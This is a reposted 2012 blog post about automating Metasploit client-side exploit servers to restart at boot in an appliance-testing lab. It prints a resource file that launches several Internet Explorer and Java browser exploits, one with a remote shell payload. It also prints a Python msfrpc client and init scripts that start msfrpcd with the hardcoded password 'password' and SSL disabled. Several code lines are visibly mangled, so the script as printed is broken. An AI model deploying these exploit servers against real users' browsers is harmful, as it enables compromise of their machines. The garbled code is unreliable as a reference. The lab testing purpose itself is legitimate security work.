转载: MSF Startup at boot? Using msfrpcd, msgpack, & msf rc files for “disaster recovery”

原文:https://khr0x40sh.wordpress.com/2012/05/22/msf-startup-at-boot-using-msfrpcd-msgpack-msf-rc-files-for-disaster-recovery/

Had an issue I had to solve today at work. My virtual sheep-catchers in our environment kept dying due to environmental factors, making it difficult for the appliance testers to finish their test of a client-side exploitation prevention device in a reasonable (read: timely) manner. Yes, I know that we *should* have the proper cooling and so on, but that will be for a different time. Anyways, I needed to automate the the malicious client-side pages to recover automatically once the machines rebooted to keep down time to a minimum. Before we get to far along with the solution, maybe I should fill you in on the setup first🙂 .

The Lab

For the test, I was asked to provide the ability for the testers to infect victim machines via an easy-to-use, repeatable manner. These machines were Windows XP Machines, with vulnerable IE 8, java, and adobe applications running. I immediately thought to use a custom php/mysql forum. This forum would act as a portal, allowing the testers to click on a forum post on the main page, see the details about the exploit on the next page, and then javascript would redirect them to the exploit page after 10 seconds. This redirect script was used so that the testers would have the minimal number of clicks between entrance to the page and exploitation of the test machines, but still have the ability to peek in on what was happening during the exploit, and have the ability to leave feedback through the forum pages. The malicious sites were hosted on a separate web server, which was actually handpicked client side exploits run by metasploit 4.3+. The list of these exploits were:

MS12-004
MS11-050
MS11-003
MS10-090
MS10-042
Adobe Flashplayer Flash 10.o newfunction
Adobe Reader Flatdecode for <9.2 Java Rhino Java Deserialize Apple Quicktime Marshaled Punk Metasploit was configured so each of these exploits would respond to a specific URIPATH-making it easier for the forum to interact with the exploit web pages. Largely, for the first few weeks, the implementation was successful, and the testers were able to perform their tests. However, due the rising heat inside our datacenter, the virtual malicious sites would reboot and fail to recover the web sites, forcing a poor sap (read: me) to trot over and rebuild the metasploit exploit web pages. Finally fed up with the constant power outages and reboots, I attempted to automate the metasploit exploit web page setups using msfcli. When this didn’t pan out exactly how I wanted (and maybe there still is a way using msfcli), I asked fellow cyber security enthusiast zwned his thoughts on a solution. He referred me to metasploit’s resource files. While solely calling the resource files via msfconsole would at least fire off the chosen exploits, this didn’t pan out exactly as we needed, partly due to the difficulties of backgrounding any msfconsole (it would clean up and close the exploits almost immediately). Another solution had to be found. The Fix What about Metasploit’s RPC server (msfrpcd)? The server was designed with the intention of running as daemon, allowing multiple users to authenticate and run specific commands. (Maybe you have seen this before, especially if you have ever played with armitage!) I had even worked with the msfrpcd before, in where I wrote an C# application that would take scripted commands from a text file, parse out the description and name to push to a GUI frontend, and upon selection by a user, execute these commands to satisfy scenario requirements. Some of these scripted commands were in the space delimited format for executing canned exploits using a XMLRPC client to communicate with msfrpcd. Only two problems existing reusing this program for this specific application. 1) I needed these clientside attacks to startup with our linux machine, (mono at startup? could be possible, but messy) and 2) The XML-RPC implementation of msfrpcd was deprecated, and slated for removal from future revisions. Msfrpcd now uses “msgpack” as its preferred implementation. To solve our issue, we will require a few items. First, we will need to setup our msfrpcd instance to start at boot up. Secondly, we will need to write a client program that can also run at boot to pass our clientside attacks to msfrpcd to execute. Lastly, we will need to define such clientside attacks in a file that our client script can read. Since previously, I had already generated a msf resource file, we can use a resource file (see below) to satisfy our final requirement from above. use auxiliary/server/browser_autopwn set LHOST 172.20.0.250 set EXCLUDE ms1* set URIPATH PWN exploit -j use exploit/windows/ms11_050_mshtml_cobjectelement set PAYLOAD windows/messagebox set TEXT "H@x'd by khr@sh!" set URIPATH MS11_050/ exploit -j use exploit/windows/ms11_003_ie_css_import set PAYLOAD windows/messagebox set TEXT "H@x'd by khr@sh!" set URIPATH MS11_003/ exploit -j use exploit/windows/ms10_090_ie_css_clip set PAYLOAD windows/messagebox set TEXT "H@x'd by khr@sh!" set URIPATH MS10_090/ exploit -j ... use exploit/multi/browser/java_rhino set PAYLOAD generic/shell set RHOST 172.20.0.250 set RPORT 443 set URIPATH java_rhino/ exploit -j As you can see above, the aim is that each of the exploit web pages will be generated above once we execute our RPC client. Also, it leaves our chosen exploits in a format we can utilize with msfconsole for troubleshooting. Next, in the strange fashion of working backwards, we can address our second requirement: our client program. Our client program will need to authenticate to our msfrpcd server, read in our resource file, and then push the scripted commands to the server. Scouring the internet, I dug up a helpful post here, by Ryan Linn, that should aid us with creating our client To communicate with our server, we will need to download and install our python libraries. As per Mr. Linn’s instructions, pull down the msfrpc library and install as such: git clone git://github.com/SpiderLabs/msfrpc.git msfrpc cd msfrpc/python-msfrpc python setup.py install We now have the ability to use the msfrpc client library-which is a nifty mashup of lib http and lib msgpack-installed and ready for use. We can now start creating our python script. We will need to import our custom lib, define some useful global vars, and create our msfrpc client to login with. import msfrpc . . . username1='msf' password1='password' . . . # Create a new instance of the Msfrpc client with the default options client = msfrpc.Msfrpc({'port':55552}) # Login to the msfmsg server client.login(username1,password1) Next we will need to create a console session, followed by parsing our resource file to gather the exploits we want to kick off. resource = client.call('console.createonsole_id = resource['id'] print console_id . . . #Read in our commands from a rc file! infile = open ("myfile.rc", 'r') commands = infile.readlines() infile.close() #loop through our resource file cmd='' print len(commands) for line in commands: resource = client.call('console.writeonsole_id, line]) reader() if "exploit" in line: print "[!] Attempting to kick off exploit!" Notice the bold section above. We will need some method of checking if the console is ready for more information or if there are errors being printed back to us. We achieve this using our reader method: def reader(): time.sleep(1) while True: resource = client.call('console.readonsole_id]) if len(resource['data']) > 1:
print resource[‘data’],
if resource[‘busy’] == True:
time.sleep(1)
continue
break

To extend the functionality, we can add optparser and a few other things. Below, can be found a final copy of our msf_clientside_auto.py script.

#!/usr/bin/env python
###
# MSF Clientside AutoScript
# Created by khr@sh
# https://khr0x40sh.wordpress.com
#
# Based off of original script
# by Ryan Linn, found here:
#
# http://blog.spiderlabs.com/2012/01/scripting-metasploit-using-msgrpc-.html
###
import sys
import msfrpc
import time
from optparse import OptionParser

username1=’msf’
password1=’password’

def reader():
time.sleep(1)
while True:
resource = client.call(‘console.readonsole_id])
if len(resource[‘data’]) > 1:
print resource[‘data’],
if resource[‘busy’] == True:
time.sleep(1)
continue
break
###
# Arg Parser
###
parser = OptionParser()
parser.add_option(“-f”, “–file”, action=”store”, type=”string”, dest=”resource”, help=”Name of your resourceource file”)
parser.add_option(“-u”, “–user”, action=”store”, type=”string”, dest=”username”, help=”MSF Remote API username”)
parser.add_option(“-p”, “–pass”, action=”store”, type=”string”, dest=”password”, help=”MSF Remote API password”)
(options, args) = parser.parse_args()
if options.username is not None:
username1 = options.username
if options.password is not None:
password1 = options.password
# Create a new instance of the Msfrpc client with the default options
client = msfrpc.Msfrpc({‘port’:55552})
# Login to the msfmsg server
client.login(username1,password1)
try:
resource = client.call(‘console.create console_id = resource[‘id’]
print console_id
except:
print “Console create failed\r\n”
sys.exit()
#Read in our commands from a rc file!
infile = open (options.resource, ‘r’)
commands = infile.readlines()
infile.close()
#loop through our resource file
cmd=”
print len(commands)
for line in commands:
resource = client.call(‘console.writeonsole_id, line])
reader()
if “exploit” in line:
print “[!] Attempting to kick off exploit!”
time.sleep(10)

print “[+] Clientside exploits loaded, checking to see if they came up cleanly”
resource= client.call(‘job.listf “error” not in resource:
print “[+] Listing jobs…”
#print “%-15s%s” % (“Job ID”, “Job Name”)
#for job_id in resource:
# print “%-15s@%s” % (job_id, job_id[name])
print resource
elif “error” in resource:
print “[-] An error has occurred.\n”
print resource
else:
print “[-] No jobs or jobs failed. Please check rc syntax”
####
# TO DO:
#
# Push token and console id to file in case we need to shut down certain jobs
####

With our client script written, we can now focus on setting up our startup scripts (I did say disaster recovery!). We will first need to define our msfrpcd startup script:

### BEGIN INIT INFO
# Provides: msfrpcd
# Required-Start: $remote_fs $syslog
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop:
# Short-Description: Start msfrpcd with specific params
# Description: msfrpcd with no ssl, listening on 55552
### END INIT INFO
#!/bin/sh

ruby /opt/metasploit-4.3.0/msf3/msfrpcd -U msf -P password -p 55552 -S

As you can see above, we are starting our msfrpcd server with username of msf and password of password, on port 55552, and with the SSL disabled ( cleartext only for troubleshooting). To ensure our msfrpcd starts at boot up, we need to run update-rc.d (well, if your distro is debian-based):

update-rc.d msfrpcd 55 2 3 4 5 .

Next, we will need to generate a startup script for our msf-clientside-auto.py file. This file will also need to ensure that the msfrpcd server is actually up and listening on the specified port. We may have to use some bash foo (thx foo) to accomplish this:

### BEGIN INIT INFO
# Provides: msfrpc-client
# Required-Start: $remote_fs $syslog
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop:
# Short-Description: Start msfrpc-client with specific params
# Description: msfrpc-client with no ssl, reading in a provided .rc file
### END INIT INFO
#!/bin/sh

pid=0
id=0
echo “Checking to see if msfrpcd is running …”
while [ “${pid:-0}” -eq 0 ]; do
pid=$(netstat -tpln | grep 0\.0\.0\.0:55552 | awk ‘{print $7} | sed ‘ s#/.*##’)
if [ “${pid:-0}” -ne 0 ];
then
printf “%s\n” “$pid”
echo “The Service was identified in $i seconds.”
sleep 3
python /root/msf_auto_clientside.py -f /root/myfile.rc
fi
if [ $i -eq 60 ];
then
echo “Cannot determine if service came up.”
break
fi
let i = i+1
sleep 1
done

As you can see form above, we have our client startup script polling each second (up to 60 seconds) attempting to determine if the msfrpcd server is running. Once it is determine that a valid pid is running on port 55552, the python script is executed, and if all is well, our clientside attacks should be present and listening on port 8080.

We now need to add our client script to startup, ensuring that it executes well after msfrpcd has had the opportunity to start:

update-rc.d msfrpc-client 99 2 3 4 5 .

After a quick reboot, netstat -tlpn should show the following:

Active Internet Connections (only servers)

tcp 0 0 0.0.0.0:55552 … 1160/msfrpcd
tcp 0 0 0.0.0.0:8080… 1160/msfrpcd
tcp 0 0 172.20.0.250:7777… 1160/msfrpcd

Note that port 8080 is active. This would lead most to believe that the msf modules have launched and are currently listening. And no more downtime due to manual configuration ::crosses fingers:: !

UPDATE:

Upon actually puttin gthis into practice, I encountered a few small bugs. 1) The ruby used at boot time to start msfrpcd may not be the same ruby in /usr/…/ruby. It appears that metasploit may look at its local copy of ruby during boot up. The issue here is you may receive an error stating “requires — msgpack is not found” even if you did:

gem install msgpack

To counter this, copy msgpack from your system ruby to the msf ruby folders, like:

cp -r /var/lib/gems/1.9.2/gems/msgpack-0.4.7 /opt/metasploit-4.3.0/msf3/lib/gemcache/ruby/1.9.1/gems/

And 2)… at startup, use absolute path on all files. seems simple, but I did mess that up while trying to call the resource file.

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注